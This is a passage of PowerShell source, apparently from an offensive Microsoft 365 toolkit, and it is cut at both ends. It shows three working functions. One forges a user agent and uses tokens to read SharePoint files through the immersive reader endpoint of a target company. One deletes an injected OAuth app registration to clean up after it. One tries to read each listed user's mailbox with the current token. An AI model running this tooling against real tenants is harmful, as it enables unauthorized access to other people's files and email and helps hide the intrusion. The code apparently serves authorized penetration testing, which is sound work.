.PARAMETER FileID
The ID of the file to open.
.EXAMPLE
C:\PS> Invoke-ImmersiveFileReader -SharePointDomain targetcompany.sharepoint.com -DriveID <drive ID> -FileID <FileID>
Description
-----------
This command use the immersive reader to read a file.
#>
param(
[Parameter(Position = 1, Mandatory = $True)]
[string]
$SharePointDomain,
[Parameter(Mandatory = $True)]
[string]
$DriveID,
[Parameter(Mandatory = $True)]
[string]
$FileID,
[Parameter(Mandatory = $False)]
[object[]]
$Tokens,
[Parameter(Mandatory=$False)]
[ValidateSet('Mac','Windows','AndroidMobile','iPhone')]
[String]$Device,
[Parameter(Mandatory=$False)]
[ValidateSet('Android','IE','Chrome','Firefox','Edge','Safari')]
[String]$Browser
)
if ($Device) {
if ($Browser) {
$UserAgent = Invoke-ForgeUserAgent -Device $Device -Browser $Browser
}
else {
$UserAgent = Invoke-ForgeUserAgent -Device $Device
}
}
else {
if ($Browser) {
$UserAgent = Invoke-ForgeUserAgent -Browser $Browser
}
else {
$UserAgent = Invoke-ForgeUserAgent
}
}
$Headers=@{}
$Headers["User-Agent"] = $UserAgent
if($Tokens){
Write-Host -ForegroundColor yellow "[*] Using the provided access tokens."
}
else{
# Login
Write-Host -ForegroundColor yellow "[*] First, you need to login."
Write-Host -ForegroundColor yellow "[*] If you already have tokens you can use the -Tokens parameter to pass them to this function."
while($auth -notlike "Yes"){
Write-Host -ForegroundColor cyan "[*] Do you want to authenticate now (yes/no)?"
$answer = Read-Host
$answer = $answer.ToLower()
if ($answer -eq "yes" -or $answer -eq "y") {
Write-Host -ForegroundColor yellow "[*] Running Get-GraphTokens now..."
$tokens = Get-GraphTokens -ExternalCall
$auth = "Yes"
} elseif ($answer -eq "no" -or $answer -eq "n") {
Write-Host -ForegroundColor Yellow "[*] Quitting..."
return
} else {
Write-Host -ForegroundColor red "Invalid input. Please enter Yes or No."
}
}
}
$Headers["Host"] = 'southcentralus1-mediap.svc.ms'
$Headers["Accept-Language"] = "en-US"
Invoke-RefreshToSharePointToken -domain $SharePointDomain -ClientId "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0" -Tokens $tokens -Device $Device -Browser $Browser
try {
$request = Invoke-WebRequest -UseBasicParsing -Headers $Headers -Method GET -Uri "https://southcentralus1-mediap.svc.ms/transform/imreader?provider=spo&inputFormat=txt&cs=fFNQTw&docid=https%3A%2F%2F$($SharePointDomain)%3A443%2F_api%2Fv2.0%2Fdrives%2F$($DriveID)%2Fitems%2F$($FileID)%3Fversion%3DPublished&access_token=$($global:SharePointToken.access_token)&nocache=true"
}catch{
$err = $_.Exception
$err
}
$out = $request.Content | ConvertFrom-Json
$out.data.t
}
function Invoke-DeleteOAuthApp{
<#
.SYNOPSIS
Simple module to delete an app registration. Use the Object ID (Output at the end of Invoke-InjectOAuthApp) not the app ID.
Author: Beau Bullock (@dafthack)
License: MIT
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Simple module to delete an app registration. Use the Object ID (Output at the end of Invoke-InjectOAuthApp) not the app ID.
.PARAMETER Tokens
Provide an already authenticated access token.
.PARAMETER ObjectID
The Object ID of the app registration you want to delete.
.EXAMPLE
C:\PS> Invoke-DeleteOAuthApp -Tokens $tokens -ObjectID <object ID of app>
Description
-----------
This command will delete the specified app registration from the tenant.
#>
param(
[Parameter(Position = 0, Mandatory = $True)]
[object[]]
$Tokens = "",
[Parameter(Position = 0, Mandatory = $True)]
[string]
$ObjectID = ""
)
$accessToken = $tokens.access_token
$deleteUrl = "https://graph.microsoft.com/v1.0/applications/$ObjectID"
$headers = @{
Authorization = "Bearer $accessToken"
}
$response = Invoke-RestMethod -Uri $deleteUrl -Headers $headers -Method Delete
if ($response -ne $null) {
Write-Output "App registration with ID $ObjectId deleted successfully."
} else {
Write-Error "Error deleting app registration."
}
}
Function Invoke-GraphOpenInboxFinder{
<#
.SYNOPSIS
A module that can be used to find inboxes of other users in a tenant that are readable by the current user. This oftentimes happens when a user has misconfigured their mailbox to allow others to read mail items within it. NOTE: You must have Mail.Read.Shared or Mail.ReadWrite.Shared permissions to read other mailboxes with the Graph.
Author: Beau Bullock (@dafthack)
License: MIT
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
A module that can be used to find inboxes of other users in a tenant that are readable by the current user. This oftentimes happens when a user has misconfigured their mailbox to allow others to read mail items within it. NOTE: You must have Mail.Read.Shared or Mail.ReadWrite.Shared permissions to read other mailboxes with the Graph.
.PARAMETER Tokens
Provide an already authenticated access token.
.PARAMETER UserList
Userlist of users to check (one per line)
.EXAMPLE
C:\PS> Invoke-GraphOpenInboxFinder -Tokens $tokens -UserList userlist.txt
Description
-----------
Using this module will attempt to access each inbox in the userlist file as the current user.
#>
param(
[Parameter(Position = 0, Mandatory = $true)]
[object[]]
$Tokens = "",
[Parameter(Position = 0, Mandatory = $true)]
[string]
$userlist = ""
)
if($tokens){
$access_token = $tokens.access_token
}
else{
Write-Host -ForegroundColor yellow "[*] No tokens detected. Pass your authenticated tokens to this module with the -Tokens option. "
return
}
$Mailboxes = @(Get-Content -Path $userlist)
if (!$Mailboxes){return}
$count = $Mailboxes.count
$curr_mbx = 0
Write-Host -ForegroundColor yellow "[*] Note: To read other user's mailboxes your token needs to be scoped to the Mail.Read.Shared or Mail.ReadWrite.Shared permissions."
Write-Output "`n`r"
Write-Output "[*] Checking access to mailboxes for each email address..."
Write-Output "`n`r"
foreach($mbx in $Mailboxes)
{
$request = ""